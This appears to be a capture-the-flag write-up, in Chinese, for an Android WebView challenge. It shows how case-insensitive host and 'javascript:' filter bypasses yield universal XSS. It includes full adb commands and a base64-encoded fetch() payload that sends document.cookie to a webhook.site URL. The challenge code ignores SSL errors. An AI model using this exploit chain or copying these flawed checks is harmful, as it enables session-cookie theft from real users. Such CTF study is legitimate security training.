题目
MainActivity.kt
接收intent传的url参数然后加载url,限制不能以.toutiao.com结尾
重写了shouldOverrideUrlLoading和onPageFinished方法,页面刷新时获取monitor参数,限制不能以javascript:开头,页面主文档加载完成后发现monitor不为空则加载monitor网页
package com.security.secreturl import ... class MainActivity : ComponentActivity() { private lateinit var webview: WebView override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) var monitor = "" setContentView(R.layout.layout) webview = findViewById(R.id.show) webview.settings.javaScriptEnabled = true webview.setWebChromeClient(object : WebChromeClient() { override fun onConsoleMessage(message: String, lineNumber: Int, sourceID: String?) { Log.e("SecretUrl", message) super.onConsoleMessage(message, lineNumber, sourceID) } }) webview.setWebViewClient(object : WebViewClient() { override fun shouldOverrideUrlLoading(view: WebView, url: String): Boolean { val _url = url.toUri().getQueryParameter("monitor") if (_url != null && !_url.startsWith("javascript:")) { Log.i("SecretUrl", url.toUri().getQueryParameter("SecretUrl").toString()) monitor = _url } else{ Log.e("SecretUrl", url.toUri().getQueryParameter("SecretUrl").toString()) } return super.shouldOverrideUrlLoading(view, url) } override fun onPageFinished(view: WebView, url: String) { if (monitor != "") { Log.i("SecretUrl", monitor) webview.loadUrl(monitor) } } override fun onReceivedSslError( view: WebView, handler: SslErrorHandler, error: SslError ) { handler.proceed() } }) if (intent.hasExtra("url")) { val url = intent.getStringExtra("url")!! val uri = url.toUri() if (uri.host != null && !uri.host!!.endsWith(".toutiao.com")) { webview.loadUrl(url) } } } }
FlagReceiver.kt
设置flag在cookie中,且设置Domain=m.toutiao.com,需要在toutiao这个域下执行才能获取到flag
package com.security.secreturl import ... class FlagReceiver : BroadcastReceiver() { override fun onReceive(context: Context, intent: Intent) { val flag = intent.getStringExtra("flag") if (flag!= null){ val cookie = "flag=$flag; Domain=m.toutiao.com; Path=/; SameSite=Strict; Expires=Wed, 1 Jan 2030 00:00:00 GMT" val cookieManager = CookieManager.getInstance() cookieManager.setCookie("https://m.toutiao.com", cookie) cookieManager.flush() Log.e("FlagReceiver", "received flag.") } } }
UXSS(universal cross-site scriting)
UXSS是一种利用浏览器或浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型 对于本题 目标就是利用uxss在m.toutiao.com域下获取cookie中的flag
解题
首先对于题目中对域名的过滤 可以通过大小写绕过
对于第一处对url的过滤,使用http://M.TOUTIAO.COM即可绕过
对于第二处对monitor的过滤,使用jAvascript:即可绕过
javascript:协议,能够在url中嵌入javascript代码并且运行。当浏览器遇到遇到,会将冒号之后的代码提取出来并在当前页面环境执行
从而就能够在目标域下执行任意js代码了,接下来就只需要获取flag并且发送出来即可,可以看到此时域这个条件已经满足了
(base) ayoung@ayoungmbp app % adb shell am start -n com.security.secreturl/.MainActivity -W -e url "http://M.TOUTIAO.COM/?monitor=jAvascript:alert\(document.domain\)"

本地使用android studio启动app,先广播本地设置flag
adb shell am broadcast -W -a com.bytectf.SET_FLAG -n com.security.secreturl/.FlagReceiver --es flag "FLAG{test_flag_123}"
最后发现命令行直接执行会有一些编码的问题,使用base64先编码一下js代码
fetch('https://webhook.site/469534d2-817c-4e94-9cb0-e93078b1fa7b?flag='+encodeURIComponent(document.cookie))
使用webhook因为发现apk原生限制了只能fetch https链接 原本尝试用自己vps的时候,http链接 logcat显示:This request has been blocked; the content must be served over HTTPS。
完整利用url
adb shell am start -n com.security.secreturl/.MainActivity -W -e url "http://M.TOUTIAO.COM/?monitor=jAvascript:eval%28atob%28%27ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlLzQ2OTUzNGQyLTgxN2MtNGU5NC05Y2IwLWU5MzA3OGIxZmE3Yj9mbGFnPScrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSkp%27%29%29"
